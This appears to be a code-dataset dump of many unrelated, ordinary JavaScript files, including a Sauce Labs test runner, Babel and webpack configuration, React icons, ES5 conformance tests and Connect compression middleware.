code
stringlengths
2
1.05M
#!/usr/bin/env node 'use strict'; var wd = require('wd'); var sauceConnectLauncher = require('sauce-connect-launcher'); var selenium = require('selenium-standalone'); var querystring = require('querystring'); var SauceResultsUpdater = require('./sauce-results-updater'); var server = require('./server.js'); var testTimeout = 30 * 60 * 1000; var retries = 0; var MAX_RETRIES = 10; var MS_BEFORE_RETRY = 60000; var username = process.env.SAUCE_USERNAME; var accessKey = process.env.SAUCE_ACCESS_KEY; var sauceResultsUpdater = new SauceResultsUpdater(username, accessKey); // process.env.CLIENT is a colon seperated list of // (saucelabs|selenium):browserName:browserVerion:platform var clientStr = process.env.CLIENT || 'selenium:phantomjs'; var tmp = clientStr.split(':'); var client = { runner: tmp[0] || 'selenium', browser: tmp[1] || 'phantomjs', version: tmp[2] || null, // Latest platform: tmp[3] || null }; var testUrl = 'http://127.0.0.1:8001/test/browser/index.html'; var qs = {}; var sauceClient; var sauceConnectProcess; var tunnelId = process.env.TRAVIS_JOB_NUMBER || 'tunnel-' + Date.now(); var jobName = tunnelId + '-' + clientStr; var build = (process.env.TRAVIS_COMMIT ? process.env.TRAVIS_COMMIT : Date.now()); if (client.runner === 'saucelabs') { qs.saucelabs = true; } if (process.env.GREP) { qs.grep = process.env.GREP; } testUrl += '?'; testUrl += querystring.stringify(qs); function testError(e) { console.error(e); console.error('Doh, tests failed'); sauceClient.quit(); process.exit(3); } function postResult(result) { var failed = !process.env.PERF && result.failed; if (client.runner === 'saucelabs') { sauceResultsUpdater.setPassed(jobName, build, !failed).then(function () { process.exit(failed ? 1 : 0); }); } else { process.exit(failed ? 1 : 0); } } function testComplete(result) { sauceClient.quit().then(function () { if (sauceConnectProcess) { sauceConnectProcess.close(function () { postResult(result); }); } else { postResult(result); } }); } function startSelenium(callback) { // Start selenium var opts = { version: '2.45.0' }; selenium.install(opts, function (err) { if (err) { console.error('Failed to install selenium'); process.exit(1); } selenium.start(opts, function ( /* err, server */ ) { sauceClient = wd.promiseChainRemote(); callback(); }); }); } function startSauceConnect(callback) { var options = { username: username, accessKey: accessKey, tunnelIdentifier: tunnelId }; sauceConnectLauncher(options, function (err, _sauceConnectProcess) { if (err) { console.error('Failed to connect to saucelabs, err=', err); if (++retries > MAX_RETRIES) { console.log('Max retries reached, exiting'); process.exit(1); } else { console.log('Retry', retries, '...'); setTimeout(function () { startSauceConnect(callback); }, MS_BEFORE_RETRY); } } else { sauceConnectProcess = _sauceConnectProcess; sauceClient = wd.promiseChainRemote('localhost', 4445, username, accessKey); callback(); } }); } function startTest() { console.log('Starting', client); var opts = { browserName: client.browser, version: client.version, platform: client.platform, tunnelTimeout: testTimeout, name: jobName, 'max-duration': 60 * 30, 'command-timeout': 599, 'idle-timeout': 599, 'tunnel-identifier': tunnelId }; sauceClient.init(opts).get(testUrl, function () { /* jshint evil: true */ var interval = setInterval(function () { sauceClient.eval('window.results', function (err, results) { console.log('=> ', results); if (err) { clearInterval(interval); testError(err); } else if (results.completed || results.failures.length) { clearInterval(interval); testComplete(results); } }); }, 10 * 1000); }); } server.start(function () { if (client.runner === 'saucelabs') { startSauceConnect(startTest); } else { startSelenium(startTest); } });
/* * @Author: dixiao * @Date: 2016-03-22 15:32:09 * @Last Modified by: dixiao * @Last Modified time: 2016-03-22 15:32:17 */ //添加缓动扩展 jQuery.extend(jQuery.easing,{ easeOutBack: function (x, t, b, c, d, s) { if (s === undefined) s = 1.70158; return c * ((t = t / d - 1) * t * ((s + 1) * t + s) + 1) + b; } }); var pageArr; function rotateDown(index) { if (index < 0 || index >= pageArr.length) { return; } var ele = pageArr.eq(index); ele.children("a").css("background-color", "#fff"); var obj = ele.data("obj"); if (!obj) { ele.data("obj", { r: getNumByEle(ele) }); obj = ele.data("obj"); } else obj.r = getNumByEle(ele); $(obj).animate({ r: 0 }, { duration: 1000, easing: "easeOutBack", step: function () { ele.css({ "-moz-transform": "rotateX(" + this.r + "deg)", "-webkit-transform": "rotateX(" + this.r + "deg)", "-0-transform": "rotateX(" + this.r + "deg)", "-ms-transform": "rotateX(" + this.r + "deg)", "transform": "rotateX(" + this.r + "deg)" }); //根据偏移量判断是否展开下一个 if (ele.data("opening")) return; //已经开始折叠下一个了 var rotateOff = getNumByEle(ele); if (rotateOff > -120) { ele.data("opening", true); rotateDown(index + 1); } }, complete: function () { ele.css({ transform: "rotateX(0deg)" }); } }); } function rotateUp(index) { if (index < 0 || index >= pageArr.length) { return; } var ele = pageArr.eq(index); ele.children("a").css("background-color", "rgb(223,223,223)"); var obj = ele.data("obj"); if (!obj) { ele.data("obj", { r: getNumByEle(ele) }); obj = ele.data("obj"); } else obj.r = getNumByEle(ele); $(obj).animate({ r: -180 }, { duration: 600, easing: "linear", step: function () { ele.css({ "-moz-transform": "rotateX(" + this.r + "deg)", "-webkit-transform": "rotateX(" + this.r + "deg)", "-0-transform": "rotateX(" + this.r + "deg)", "-ms-transform": "rotateX(" + this.r + "deg)", "transform": "rotateX(" + this.r + "deg)" }); //根据偏移量判断是否折叠上一个 if (ele.data("closing")) return; //已经开始折叠上一个了 var rotateOff = getNumByEle(ele); if (rotateOff < -60) { ele.data("closing", true); rotateUp(index - 1); } }, complete: function () { ele.css({ transform: "rotateX(-180deg)" }); } }); } function getNumByEle(ele) { var rotateStyle = ele.attr("style"); return rotateStyle.match(/rotateX\(([-]?\d+)/)[1]; } function stopAll() { for (var i = 0; i < pageArr.length; i++) { var ele = pageArr.eq(i); ele.data("opening", false); ele.data("closing", false); var obj = ele.data("obj"); if (obj && $(obj).stop) { $(obj).stop(true, false); } } } $(function(){ pageArr = $("#fold .fold_pager"); $("#fold").mousemove(function (e) { //Y轴旋转 var el = e.clientX - $(this).offset().left; var off = 60 * el / $(this).width() - 30; //this.style.transform = "rotateY(" + off + "deg)"; $(this).css({ "-webkit-transform":"rotateY(" + off + "deg)", "-moz-transform":"rotateY(" + off + "deg)", "-ms-transform":"rotateY(" + off + "deg)", "-o-transform":"rotateY(" + off + "deg)", "transform":"rotateY(" + off + "deg)" }); }).mouseenter(function () { //展开 stopAll(); rotateDown(0); }).mouseleave(function () { //折叠 stopAll(); rotateUp(pageArr.length - 1); }); });
import template from "babel-template"; const buildDefine = template(` define(MODULE_NAME, [SOURCES], FACTORY); `); const buildFactory = template(` (function (PARAMS) { BODY; }) `); export default function ({ types: t }) { function isValidRequireCall(path) { if (!path.isCallExpression()) return false; if (!path.get("callee").isIdentifier({ name: "require" })) return false; if (path.scope.getBinding("require")) return false; const args = path.get("arguments"); if (args.length !== 1) return false; const arg = args[0]; if (!arg.isStringLiteral()) return false; return true; } const amdVisitor = { ReferencedIdentifier({ node, scope }) { if (node.name === "exports" && !scope.getBinding("exports")) { this.hasExports = true; } if (node.name === "module" && !scope.getBinding("module")) { this.hasModule = true; } }, CallExpression(path) { if (!isValidRequireCall(path)) return; this.bareSources.push(path.node.arguments[0]); path.remove(); }, VariableDeclarator(path) { const id = path.get("id"); if (!id.isIdentifier()) return; const init = path.get("init"); if (!isValidRequireCall(init)) return; const source = init.node.arguments[0]; this.sourceNames[source.value] = true; this.sources.push([id.node, source]); path.remove(); } }; return { inherits: require("babel-plugin-transform-es2015-modules-commonjs"), pre() { // source strings this.sources = []; this.sourceNames = Object.create(null); // bare sources this.bareSources = []; this.hasExports = false; this.hasModule = false; }, visitor: { Program: { exit(path) { if (this.ran) return; this.ran = true; path.traverse(amdVisitor, this); const params = this.sources.map((source) => source[0]); let sources = this.sources.map((source) => source[1]); sources = sources.concat(this.bareSources.filter((str) => { return !this.sourceNames[str.value]; })); let moduleName = this.getModuleName(); if (moduleName) moduleName = t.stringLiteral(moduleName); if (this.hasExports) { sources.unshift(t.stringLiteral("exports")); params.unshift(t.identifier("exports")); } if (this.hasModule) { sources.unshift(t.stringLiteral("module")); params.unshift(t.identifier("module")); } const { node } = path; const factory = buildFactory({ PARAMS: params, BODY: node.body }); factory.expression.body.directives = node.directives; node.directives = []; node.body = [buildDefine({ MODULE_NAME: moduleName, SOURCES: sources, FACTORY: factory })]; } } } }; }
/** * This class handles the users * @type {*} */ window.themingStore.models.FileModel = window.themingStore.models.AbstractModel.extend({ type: 'file' });
module.exports = { 'extends': 'vue', 'env': { 'browser': true, 'node': true } }
'use strict'; var tape = require('../'); var tap = require('tap'); tap.test('only twice error', function (assert) { var test = tape.createHarness({ exit: false }); test.only('first only', function (t) { t.end(); }); assert.throws(function () { test.only('second only', function (t) { t.end(); }); }, { name: 'Error', message: 'there can only be one only test' }); assert.end(); });
'use strict'; var React = require('react'); var SvgIcon = require('../../svg-icon'); var ActionStars = React.createClass({ displayName: 'ActionStars', render: function render() { return React.createElement( SvgIcon, this.props, React.createElement('path', { d: 'M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zm4.24 16L12 15.45 7.77 18l1.12-4.81-3.73-3.23 4.92-.42L12 5l1.92 4.53 4.92.42-3.73 3.23L16.23 18z' }) ); } }); module.exports = ActionStars;
// Copyright 2009 the Sputnik authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /** * @name: S10.2.2_A1.1_T10; * @section: 10.2.2; * @assertion: The scope chain is initialised to contain the same objects, * in the same order, as the calling context's scope chain; * @description: eval within global execution context; */ var i; var j; str1 = ''; str2 = ''; var x = 1; var y = 2; for(i in this){ str1+=i; } eval('for(j in this){\nstr2+=j;\n}'); if(!(str1 === str2)){ $ERROR("#1: scope chain must contain same objects in the same order as the calling context"); }
var skypager = require('skypager') module.exports = skypager.load(__filename, { manifest: require('./package.json') })
{ "name": "adfox.js", "url": "https://github.com/Intervox/adfox.js.git" }
/* */ (function(process) { 'use strict'; var Danger = require("Danger"); var ReactMultiChildUpdateTypes = require("ReactMultiChildUpdateTypes"); var setTextContent = require("setTextContent"); var invariant = require("invariant"); function insertChildAt(parentNode, childNode, index) { parentNode.insertBefore(childNode, parentNode.childNodes[index] || null); } var DOMChildrenOperations = { dangerouslyReplaceNodeWithMarkup: Danger.dangerouslyReplaceNodeWithMarkup, updateTextContent: setTextContent, processUpdates: function(updates, markupList) { var update; var initialChildren = null; var updatedChildren = null; for (var i = 0; i < updates.length; i++) { update = updates[i]; if (update.type === ReactMultiChildUpdateTypes.MOVE_EXISTING || update.type === ReactMultiChildUpdateTypes.REMOVE_NODE) { var updatedIndex = update.fromIndex; var updatedChild = update.parentNode.childNodes[updatedIndex]; var parentID = update.parentID; invariant(updatedChild, 'processUpdates(): Unable to find child %s of element. This ' + 'probably means the DOM was unexpectedly mutated (e.g., by the ' + 'browser), usually due to forgetting a <tbody> when using tables, ' + 'nesting tags like <form>, <p>, or <a>, or using non-SVG elements ' + 'in an <svg> parent. Try inspecting the child nodes of the element ' + 'with React ID `%s`.', updatedIndex, parentID); initialChildren = initialChildren || {}; initialChildren[parentID] = initialChildren[parentID] || []; initialChildren[parentID][updatedIndex] = updatedChild; updatedChildren = updatedChildren || []; updatedChildren.push(updatedChild); } } var renderedMarkup = Danger.dangerouslyRenderMarkup(markupList); if (updatedChildren) { for (var j = 0; j < updatedChildren.length; j++) { updatedChildren[j].parentNode.removeChild(updatedChildren[j]); } } for (var k = 0; k < updates.length; k++) { update = updates[k]; switch (update.type) { case ReactMultiChildUpdateTypes.INSERT_MARKUP: insertChildAt(update.parentNode, renderedMarkup[update.markupIndex], update.toIndex); break; case ReactMultiChildUpdateTypes.MOVE_EXISTING: insertChildAt(update.parentNode, initialChildren[update.parentID][update.fromIndex], update.toIndex); break; case ReactMultiChildUpdateTypes.TEXT_CONTENT: setTextContent(update.parentNode, update.textContent); break; case ReactMultiChildUpdateTypes.REMOVE_NODE: break; } } } }; module.exports = DOMChildrenOperations; })(require("process"));
import React from 'react' import Icon from 'react-icon-base' const IoAndroidVolumeUp = props => ( <Icon viewBox="0 0 40 40" {...props}> <g><path d="m5 15h6.6l8.4-8.7v27.5l-8.4-8.8h-6.6v-10z m22.5 5c0 3-1.6 5.7-4.1 6.9v-13.9c2.5 1.3 4.1 4 4.1 7z m-4.1-15c6.6 1.6 11.6 7.7 11.6 15s-5 13.4-11.6 15v-3.5c4.8-1.5 8.2-6.1 8.2-11.5s-3.4-10-8.2-11.5v-3.5z"/></g> </Icon> ) export default IoAndroidVolumeUp
/// Copyright (c) 2009 Microsoft Corporation /// /// Redistribution and use in source and binary forms, with or without modification, are permitted provided /// that the following conditions are met: /// * Redistributions of source code must retain the above copyright notice, this list of conditions and /// the following disclaimer. /// * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and /// the following disclaimer in the documentation and/or other materials provided with the distribution. /// * Neither the name of Microsoft nor the names of its contributors may be used to /// endorse or promote products derived from this software without specific prior written permission. /// /// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR /// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS /// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE /// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT /// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS /// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, /// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF /// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ES5Harness.registerTest( { id: "13.1-3-3-s", path: "TestCases/chapter13/13.1/13.1-3-3-s.js", description: "SyntaxError if eval used as function identifier in function declaration with strict body", test: function testcase() { try { eval("function eval(){'use strict';};"); return false } catch (e) { e instanceof SyntaxError } }, precondition: function prereq() { return fnSupportsStrict(); } });
/* eslint import/no-extraneous-dependencies: ["error", {"devDependencies": true}] */ // This is our base config file. All of our configs will extend from this, // so we'll define all the foundational stuff that applies to every build // and add to it in other files // ---------------------- // IMPORTS // Webpack 2 is our bundler of choice. import webpack from 'webpack'; // We'll use `webpack-config` to create a 'base' config that can be // merged/extended from for further configs import WebpackConfig from 'webpack-config'; // PostCSS filters import postcssNested from 'postcss-nested'; // CSSNext is our postcss plugin of choice, that will allow us to use 'future' // stylesheet syntax like it's available today. import cssnext from 'postcss-cssnext'; // CSSNano will optimise our stylesheet code import cssnano from 'cssnano'; // Show a nice little progress bar import ProgressBarPlugin from 'progress-bar-webpack-plugin'; // Chalk lib, to add some multi-colour awesomeness to our progress messages import chalk from 'chalk'; // CopyWebpackPlugin will be used to get our external .css import CopyWebpackPlugin from 'copy-webpack-plugin'; // HtmlWebpackPlugin will generate our HTML import HtmlWebpackPlugin from 'html-webpack-plugin'; // HtmlWebpackIncludeAssetsPlugin will be used to prepend our external .css to our generated styles import HtmlWebpackIncludeAssetsPlugin from 'html-webpack-include-assets-plugin'; // plugin to lint your CSS/Sass code using stylelint import StyleLintPlugin from 'stylelint-webpack-plugin'; // Our local path configuration, so webpack knows where everything is/goes. // Since we haven't yet established our module resolution paths, we have to // use the full relative path import PATHS from '../../config/paths'; // ---------------------- // Export a new 'base' config, which we can extend/merge from export default new WebpackConfig().merge({ // Javascript file extensions that webpack will resolve resolve: { // I tend to use .js exclusively, but .jsx is also allowed extensions: ['.js', '.jsx'], // When we do an `import x from 'x'`, webpack will first look in our // root folder to try to resolve the package this. This allows us to // short-hand imports without knowing the full/relative path. If it // doesn't find anything, then it'll check `node_modules` as normal modules: [ PATHS.root, 'node_modules', ], }, // File type config and the loaders that will handle them. This makes it // possible to do crazy things like `import css from './style.css'` and // actually get that stuff working in *Javascript* -- woot! module: { loaders: [ // Html { test: /\.html$/, loader: 'html-loader', }, // Fonts { test: /\.(woff|woff2|ttf|eot)$/i, loader: 'file-loader', query: { name: 'assets/fonts/[name].[hash].[ext]', }, }, // Images. By default, we'll just use the file loader. In production, // we'll also crunch the images first -- so let's set up `loaders` to // be an array to make extending this easier { test: /\.(jpe?g|png|gif|svg)$/i, loaders: [ { loader: 'file-loader', query: { name: 'assets/img/[name].[hash].[ext]', }, }, ], }, ], }, // Output settings. Where our files will wind up, and what we consider // to be the root public path for dev-server. output: { // Our compiled bundles/static files will wind up in `dist` path: PATHS.public, // Deem the `dist` folder to be the root of our web server publicPath: '/', // Filenames will simply be <name>.js filename: '[name].js', }, plugins: [ // Progress bar + options new ProgressBarPlugin({ format: ` ${chalk.magenta.bold('fuseR')} building [:bar] ${chalk.green.bold(':percent')} (:elapsed seconds)`, }), // Enable Style Linting for .scss new StyleLintPlugin({ configFile: '.stylelintrc.js', syntax: 'scss', }), new CopyWebpackPlugin([ { from: 'node_modules/grommet/grommet.min.css', to: 'public/assets/css/'}, ]), new HtmlWebpackPlugin({ template: 'kit/views/webpack.html', }), new HtmlWebpackIncludeAssetsPlugin({ assets: ['public/assets/css/grommet.min.css'], append: false, }), // Options that our module loaders will pull from new webpack.LoaderOptionsPlugin({ // Switch loaders to `minimize mode` where possible minimize: true, // Turn off `debug mode` where possible debug: false, options: { // The 'context' that our loaders will use as the root folder context: PATHS.src, // PostCSS -- @import, cssnext postcss() { return { plugins: [ postcssNested(), cssnext(), cssnano({ // Disable autoprefixer-- CSSNext already used it autoprefixer: false, }), ], }; }, // image-webpack-loader image crunching options imageWebpackLoader: { mozjpeg: { quality: 65, }, pngquant: { quality: '65-90', speed: 4, }, svgo: { plugins: [ { removeViewBox: false, }, { removeEmptyAttrs: false, }, ], }, }, }, }), ], });
import { Meteor } from 'meteor/meteor'; import { check, Match } from 'meteor/check'; import { resourceManager } from '/server/imports/threading/resourceManager'; import { dbLog } from '/db/dbLog'; import { debug } from '/server/imports/utils/debug'; import { limitMethod } from '/server/imports/utils/rateLimit'; // 可購買的石頭類型 const buyableStoneTypeList = Object.keys(Meteor.settings.public.stonePrice); Meteor.methods({ buyStone({ stoneType, amount }) { check(this.userId, String); check(stoneType, new Match.OneOf(...buyableStoneTypeList)); check(amount, Match.Integer); buyStone({ userId: this.userId, stoneType, amount }); return true; } }); export function buyStone({ userId, stoneType, amount }, resourceLocked = false) { debug.log('buyStone', { userId, stoneType, amount }); const user = Meteor.users.findOne({ _id: userId }, { fields: { 'profile.isInVacation': 1, 'profile.money': 1 } }); if (! user) { throw new Meteor.Error(404, `找不到識別碼為 ${userId} 的使用者!`); } if (user.profile.isInVacation) { throw new Meteor.Error(403, '您現在正在渡假中,請好好放鬆!'); } const stonePrice = Meteor.settings.public.stonePrice[stoneType]; const cost = amount * stonePrice; if (user.profile.money < cost) { throw new Meteor.Error(403, '剩餘金錢不足!'); } if (! resourceLocked) { resourceManager.throwErrorIsResourceIsLock([`user${userId}`]); // 先鎖定資源,再重跑一次 function 進行運算 resourceManager.request('buyStone', [`user${userId}`], (release) => { buyStone({ userId, stoneType, amount }, true); release(); }); return; } Meteor.users.update(userId, { $inc: { 'profile.money': -cost, [`profile.stones.${stoneType}`]: amount } }); dbLog.insert({ logType: '購買得石', userId: [userId], data: { stoneType, cost, amount }, createdAt: new Date() }); } limitMethod('buyStone');
import desktop from './iphone7-silv-desk.png' import tablet from './iphone7-silv-tablet.png' import mobile from './iphone7-silv-mobile.png' import preview from './iphone7-silv-preview.png' export default { desktop, laptop: desktop, tablet, mobile, orig: desktop, preview }
var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; var React = require('react'); var searchResultsView_1 = require('./searchResultsView'); var SearchResults = (function (_super) { __extends(SearchResults, _super); function SearchResults() { _super.apply(this, arguments); } SearchResults.prototype.render = function () { return searchResultsView_1.searchResultsView(this); }; return SearchResults; })(React.Component); exports.SearchResults = SearchResults; //# sourceMappingURL=searchResultsComponent.js.map
/*! * Connect - compress * Copyright(c) 2010 Sencha Inc. * Copyright(c) 2011 TJ Holowaychuk * MIT Licensed */ /** * Module dependencies. */ var zlib = require('zlib'); var utils = require('../utils'); /** * Supported content-encoding methods. */ exports.methods = { gzip: zlib.createGzip , deflate: zlib.createDeflate }; /** * Default filter function. */ exports.filter = function(req, res){ return /json|text|javascript|dart|image\/svg\+xml|application\/x-font-ttf|application\/vnd\.ms-opentype|application\/vnd\.ms-fontobject/.test(res.getHeader('Content-Type')); }; /** * Compress: * * Compress response data with gzip/deflate. * * Filter: * * A `filter` callback function may be passed to * replace the default logic of: * * exports.filter = function(req, res){ * return /json|text|javascript/.test(res.getHeader('Content-Type')); * }; * * Threshold: * * Only compress the response if the byte size is at or above a threshold. * Always compress while streaming. * * - `threshold` - string representation of size or bytes as an integer. * * Options: * * All remaining options are passed to the gzip/deflate * creation functions. Consult node's docs for additional details. * * - `chunkSize` (default: 16*1024) * - `windowBits` * - `level`: 0-9 where 0 is no compression, and 9 is slow but best compression * - `memLevel`: 1-9 low is slower but uses less memory, high is fast but uses more * - `strategy`: compression strategy * * @param {Object} options * @return {Function} * @api public */ module.exports = function compress(options) { options = options || {}; var names = Object.keys(exports.methods) , filter = options.filter || exports.filter , threshold; if (false === options.threshold || 0 === options.threshold) { threshold = 0 } else if ('string' === typeof options.threshold) { threshold = utils.parseBytes(options.threshold) } else { threshold = options.threshold || 1024 } return function compress(req, res, next){ var accept = req.headers['accept-encoding'] , vary = res.getHeader('Vary') , write = res.write , end = res.end , compress = true , stream , method; // vary if (!vary) { res.setHeader('Vary', 'Accept-Encoding'); } else if (!~vary.indexOf('Accept-Encoding')) { res.setHeader('Vary', vary + ', Accept-Encoding'); } // see #724 req.on('close', function(){ res.write = res.end = function(){}; }); // proxy res.write = function(chunk, encoding){ if (!this.headerSent) this._implicitHeader(); return stream ? stream.write(new Buffer(chunk, encoding)) : write.call(res, chunk, encoding); }; res.end = function(chunk, encoding){ if (chunk) { if (!this.headerSent && getSize(chunk) < threshold) compress = false; this.write(chunk, encoding); } else if (!this.headerSent) { // response size === 0 compress = false; } return stream ? stream.end() : end.call(res); }; res.on('header', function(){ if (!compress) return; var encoding = res.getHeader('Content-Encoding') || 'identity'; // already encoded if ('identity' != encoding) return; // default request filter if (!filter(req, res)) return; // SHOULD use identity if (!accept) return; // head if ('HEAD' == req.method) return; // default to gzip if ('*' == accept.trim()) method = 'gzip'; // compression method if (!method) { for (var i = 0, len = names.length; i < len; ++i) { if (~accept.indexOf(names[i])) { method = names[i]; break; } } } // compression method if (!method) return; // compression stream stream = exports.methods[method](options); // header fields res.setHeader('Content-Encoding', method); res.removeHeader('Content-Length'); // compression stream.on('data', function(chunk){ write.call(res, chunk); }); stream.on('end', function(){ end.call(res); }); stream.on('drain', function() { res.emit('drain'); }); }); next(); }; }; function getSize(chunk) { return Buffer.isBuffer(chunk) ? chunk.length : Buffer.byteLength(chunk); }
(function () { "use strict"; angular.module("app", ["dep1", "dep2"]) .run(function ($rootScope, $timeout) { const uselessConstant = 2; { const uselessConstant = 3; } $timeout(function () { $rootScope.a = 2; }); $rootScope.b = 2; }) .service("appService", function ($rootScope) { this.getA = function getA() { return $rootScope.a; }; }) .run(["appService", _.noop]); var matchedMod = angular.module("app2", []); var nonMatchedMod = angular.module("app3", []); matchedMod.service("appService", function ($rootScope) { this.getA = function getA() { return $rootScope.a; }; }); nonMatchedMod.service("appService", function ($rootScope) { this.getA = function getA() { return $rootScope.a; }; }); })();
var gulp = require('gulp'), gulpSequence = require('gulp-sequence'); gulp.task('rebuild', gulpSequence('clean', ['copy', 'imagemin', 'cssmin', 'uglify']));
'use strict'; // Development specific configuration // ================================== /*module.exports = { // MongoDB connection options mongo: { uri: 'mongodb://localhost/mean-dev' }, seedDB: true };*/
"use strict"; var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; var index_1 = require("../types/index"); var abstract_1 = require("./abstract"); var ParameterReflection = (function (_super) { __extends(ParameterReflection, _super); function ParameterReflection() { _super.apply(this, arguments); } ParameterReflection.prototype.traverse = function (callback) { if (this.type instanceof index_1.ReflectionType) { callback(this.type.declaration, abstract_1.TraverseProperty.TypeLiteral); } _super.prototype.traverse.call(this, callback); }; ParameterReflection.prototype.toObject = function () { var result = _super.prototype.toObject.call(this); if (this.type) { result.type = this.type.toObject(); } if (this.defaultValue) { result.defaultValue = this.defaultValue; } return result; }; ParameterReflection.prototype.toString = function () { return _super.prototype.toString.call(this) + (this.type ? ':' + this.type.toString() : ''); }; return ParameterReflection; }(abstract_1.Reflection)); exports.ParameterReflection = ParameterReflection;
"use strict"; var EventEmitter = require("events").EventEmitter, inherits = require("util").inherits; var Clock = function(){ var self = this; setInterval(function(){ self.emit("tictac"); },1000); } inherits(Clock,EventEmitter); Clock.prototype.theTime = function(){ var date = new Date(), hrs = date.getHours(), hrsAMPM = (hrs>12)?(hrs-12):hrs, hrsZero = addZero(hrsAMPM), min = date.getMinutes(), minZero = addZero(min), sec = date.getSeconds(), secZero = addZero(sec), ampm = (hrs < 12)?"am":"pm", msg = hrsZero+":"+minZero+":"+secZero+ampm; function addZero(num) { /*if(num<10) { return "0"+num; } else { return num; }*/ //operador ternario (condicion)?true:false; return (num<10)?"0"+num:num; } console.log(msg); } var cucu = new Clock(); cucu.on("tictac",function(){ cucu.theTime(); });
'use strict'; // Dev environment settings let config = {}; module.exports = config;
export default function open(link) { return e => { e.preventDefault(); if (window) { const n = 768; const r = 400; const i = (window.innerHeight - r) / 2; const s = (window.innerWidth - n) / 2; const popup = window.open(link, "_blank", `height=${r},width=${n},top=${i},left=${s}`); if (window.focus) { popup.focus(); } } }; }
var plugin = angular.module('plugin.controllers', []) plugin.controller('SliderController', ['$scope', '$timeout', function($scope, $timeout) { $scope.slides = [ './images/skills/AI6.png', './images/skills/cs6.png', './images/skills/js-logo.png', './images/skills/git.png', './images/skills/html5x300.png', './images/skills/yeoman.png', './images/skills/nodejs350.png', './images/skills/Angular.png', './images/skills/firebase.png', './images/skills/grunt.png', './images/skills/Sass320x320.png', './images/skills/Bower.png' ]; }]); plugin.controller('NavController', ['$scope', function($scope) { $(function() { $("#nav").tinyNav(); }); }]);
// ExStart:1 var assert = require('assert'); var StorageApi = require('asposestoragecloud'); var TasksApi = require('asposetaskscloud'); var configProps = require('../Config/config.json'); var data_path = '../../../Data/'; var AppSID = configProps.app_sid; var AppKey = configProps.api_key; var config = {'appSid':AppSID,'apiKey':AppKey , 'debug' : true}; // Instantiate Aspose Storage API SDK var storageApi = new StorageApi(config); // Instantiate Aspose.Tasks API SDK var tasksApi = new TasksApi(config); // Set input file name var name = "sample-project.mpp"; var taskUid = 1; var storage = null; var folder = null; try { // Upload source file to aspose cloud storage storageApi.PutCreate(name, null, null, data_path + name , function(responseMessage) { assert.equal(responseMessage.status, 'OK'); // Invoke Aspose.Tasks Cloud SDK API to retrieve a task information tasksApi.GetProjectTask(name, taskUid, storage, folder, function(responseMessage) { assert.equal(responseMessage.status, 'OK'); var task = responseMessage.body.Task; console.log("Task Name " + task.Name); console.log("Duration " + task.Duration); }); }); }catch (e) { console.log("exception in example"); console.log(e); } //ExEnd:1
/* @flow */ type ServerError<T: Error> = T & { statusCode: number; } /** * @private */ export default function createServerError<T: Error>( Source: Class<T>, statusCode: number ): Class<ServerError<T>> { const Target = class extends Source { statusCode: number; } Object.defineProperty(Target, 'name', { value: Source.name, }) Object.defineProperty(Target.prototype, 'statusCode', { value: statusCode, }) // $FlowIgnore return Target }
function makeArrayFromTag(str){ var statusForTagStart = false; var statusForInputStart = false; var arr = []; var count = 0; arr[count] = ''; // for(var i=0;i<str.length-1;i++){ // var ch = str.charAt(i); // if(ch == '<' && statusForInputStart) // { // count++; // statusForInputStart = false; // if(str.charAt(i+1) == '/') // statusForTagStart = true; // } // else if(ch == '>' && !statusForInputStart && !statusForTagStart){ // statusForTagStart = true; // statusForInputStart = true; // } // else if(statusForInputStart){ // arr[count].append(ch); // } // } for(var i=0;i<str.length;i++){ var ch = str.charAt(i); if(ch == '<'){ statusForInputStart = true; } else if(ch == '>'){ count++; arr[count]=''; statusForInputStart = false; } else if(statusForInputStart){ arr[count] += ch; } } console.log(arr); } function getValueFromTag(tag,str){ var arr =''; var statusForInputStart = false; arr = str.split('='); for(var i=0;i<str.length;i++){ var ch = str.charAt(i); if(ch == '"' ){ if(statusForInputStart) statusForInputStart = false; else statusForInputStart = true; } else if(statusForInputStart){ arr += ch; } } return arr; } getValueFromTag('li','<ul class="top-products clear"><li data-omnitrack="iphone_product_1570207413"><div class="product-detail"></div></a></li></ul>');
define(['./_getNative', './_root'], function(getNative, root) { /* Built-in method references that are verified to be native. */ var WeakMap = getNative(root, 'WeakMap'); return WeakMap; });
